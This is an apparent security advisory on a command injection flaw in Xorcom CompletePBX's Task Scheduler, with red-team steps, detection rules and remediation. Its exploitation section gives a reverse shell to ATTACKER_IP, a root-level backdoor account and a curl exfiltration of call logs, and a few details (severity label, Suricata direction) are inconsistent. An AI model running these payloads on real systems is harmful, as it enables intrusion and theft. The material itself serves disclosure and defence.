CVE-2025-30004

Executive Summary

CVE-2025-30004 is a critical command injection vulnerability in Xorcom CompletePBX, affecting all versions prior to 5.2.35. The flaw resides in the administrator Task Scheduler functionality, allowing an authenticated attacker with administrative privileges to execute arbitrary operating system commands as the root user. This grants full control over the PBX server, including the ability to intercept, redirect, or drop voice communications, exfiltrate sensitive data, and pivot to internal networks. The vulnerability has a CVSS score of 8.8 (High) and currently has no public proof-of-concept exploit or patch details beyond the vendor advisory. Given the criticality of PBX systems in enterprise communications, immediate patching is strongly recommended.

CVSS Breakdown & Threat Level

• CVSS Score: 8.8 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – requires admin login
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

The threat level is critical due to the low complexity of exploitation, the high privileges obtained (root), and the potential for complete compromise of the PBX infrastructure. An attacker who gains administrative access to the web interface can immediately execute arbitrary commands.

Deep Dive & Mechanics

The vulnerability exists in the Task Scheduler module of the CompletePBX web administration interface. This module allows administrators to schedule tasks (e.g., backups, reboots, script execution) at specified times. The input fields for task commands or parameters are not properly sanitized or validated before being passed to the underlying operating system shell.

Root Cause: The application constructs a shell command string by concatenating user-supplied input (e.g., task name, command, arguments) without proper escaping or parameterization. This allows an attacker to inject shell metacharacters such as ;, |, &&, or backticks to break out of the intended command and execute arbitrary OS commands.

Attack Flow:

1. Attacker authenticates to the CompletePBX web interface as an administrator.
2. Attacker navigates to the Task Scheduler section.
3. Attacker creates a new scheduled task or modifies an existing one.
4. In a field intended for a command or argument, the attacker injects a malicious payload, e.g., ; id > /tmp/out.
5. When the task is saved and executed (or immediately if the scheduler processes it), the injected command runs as root.
6. The attacker can then use this foothold to install backdoors, exfiltrate call logs, or pivot to other systems.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Vulnerable: direct concatenation
$command = "/usr/bin/schedule_task " . $_POST['task_command'];
shell_exec($command);

Patched Code (Conceptual):

// Patched: use escapeshellcmd() and escapeshellarg()
$command = "/usr/bin/schedule_task " . escapeshellarg($_POST['task_command']);
shell_exec($command);

The patched version uses escapeshellarg() to properly escape shell arguments, preventing injection. The vendor has released version 5.2.35 which includes this fix.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Administrative credentials to the CompletePBX web interface.
• Network access to the PBX management port (typically TCP 443 or 8080).

Exploitation Steps:

1. Log in to the CompletePBX admin panel.
2. Navigate to System > Task Scheduler.
3. Click "Add New Task".
4. In the "Command" field, enter a payload such as:

   /bin/bash -c 'echo "pwned" > /tmp/pwned.txt'
   

5. Set the schedule to run immediately (e.g., every minute).
6. Save the task. The command executes as root.
7. Verify by checking /tmp/pwned.txt or executing a reverse shell:

   /bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'
   

Example Payloads:

• Create a backdoor user: useradd -o -u 0 -g 0 -M -d /root -s /bin/bash backdoor; echo 'backdoor:password' | chpasswd
• Exfiltrate call logs: tar czf /tmp/logs.tgz /var/log/asterisk; curl -F "file=@/tmp/logs.tgz" http://ATTACKER_IP/exfil

Blue Team (Detection & Hardening)

Detection:

• Monitor for unusual scheduled task creation or modification in the web interface logs.
• Look for shell metacharacters (;, |, &, `) in task command fields.
• Alert on execution of commands like useradd, chpasswd, curl, wget, or reverse shell patterns.

Hardening:

• Immediately upgrade to CompletePBX 5.2.35 or later.
• Restrict administrative access to the web interface via firewall rules (allow only trusted IPs).
• Enable multi-factor authentication (MFA) for admin accounts.
• Implement strict input validation and output encoding on all web forms.
• Use a Web Application Firewall (WAF) to block command injection attempts.
• Regularly audit scheduled tasks for unauthorized entries.

Indicators of Compromise (IOCs)

Network IOCs:

• Outbound connections from the PBX to unknown IPs on common ports (4444, 8080, 80, 443).
• Unusual DNS queries to domains associated with C2 infrastructure.
• HTTP POST requests to external servers with file attachments (exfiltration).

Host IOCs:

• Unexpected files in /tmp/ (e.g., pwned.txt, logs.tgz).
• New user accounts with UID 0 (root) in /etc/passwd.
• Unauthorized cron jobs or systemd timers.
• Modified system binaries or libraries.
• Unusual processes running as root (e.g., reverse shells, netcat listeners).

Log IOCs:

• Web server logs showing injection patterns in POST parameters (e.g., ;, |, &&).
• System logs (/var/log/messages, /var/log/secure) showing execution of unexpected commands.
• Asterisk logs showing unusual call routing or configuration changes.

Detection Engineering

YARA Rule

rule CVE_2025_30004_Command_Injection {
    meta:
        description = "Detects command injection attempts in Xorcom CompletePBX Task Scheduler"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-30004"
        severity = "critical"
    strings:
        $injection1 = /[;&|`$()]/
        $injection2 = /bash -i/
        $injection3 = /useradd/
        $injection4 = /chpasswd/
        $injection5 = /\/dev\/tcp\//
    condition:
        any of ($injection*) and filesize < 10KB
}

Sigma Rule

title: Xorcom CompletePBX Task Scheduler Command Injection
id: 8f4a2b1c-3d5e-4f7a-9b1c-2d3e4f5a6b7c
status: experimental
description: Detects command injection attempts in the Task Scheduler module of Xorcom CompletePBX
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-30004
logsource:
    category: webserver
    product: apache
    service: httpd
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 
            - 'task_command'
            - 'schedule_task'
        cs-uri-query|re: 
            - '.*[;&|`$()].*'
            - '.*bash.*'
            - '.*useradd.*'
    condition: selection
falsepositives:
    - Legitimate use of shell commands by administrators (rare)
level: high
tags:
    - attack.t1190
    - cve.2025.30004

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-30004 Xorcom CompletePBX Command Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/admin/task_scheduler"; http_uri; pcre:"/(?:[;&|`$()]|bash|useradd|chpasswd)/Pi"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: Apply the vendor patch by upgrading to CompletePBX version 5.2.35 or later. This is the only definitive fix.
2. Restrict Access: Limit administrative access to the web interface to trusted IP addresses only using firewall rules.
3. Audit Accounts: Review all administrator accounts and remove any that are unnecessary. Enforce strong passwords and MFA.

Long-Term Mitigations:

• Implement a Web Application Firewall (WAF) with rules to block command injection patterns.
• Conduct regular security assessments and penetration testing of the PBX system.
• Monitor logs for suspicious activity and integrate with a SIEM for alerting.
• Segment the PBX network from other critical systems to limit lateral movement.
• Ensure all software components (OS, Asterisk, web server) are kept up to date.

Workaround (if patching is not immediately possible):

• Disable the Task Scheduler module if it is not essential for operations.
• Implement strict input validation at the web server level (e.g., mod_security rules) to block shell metacharacters.

Valters IT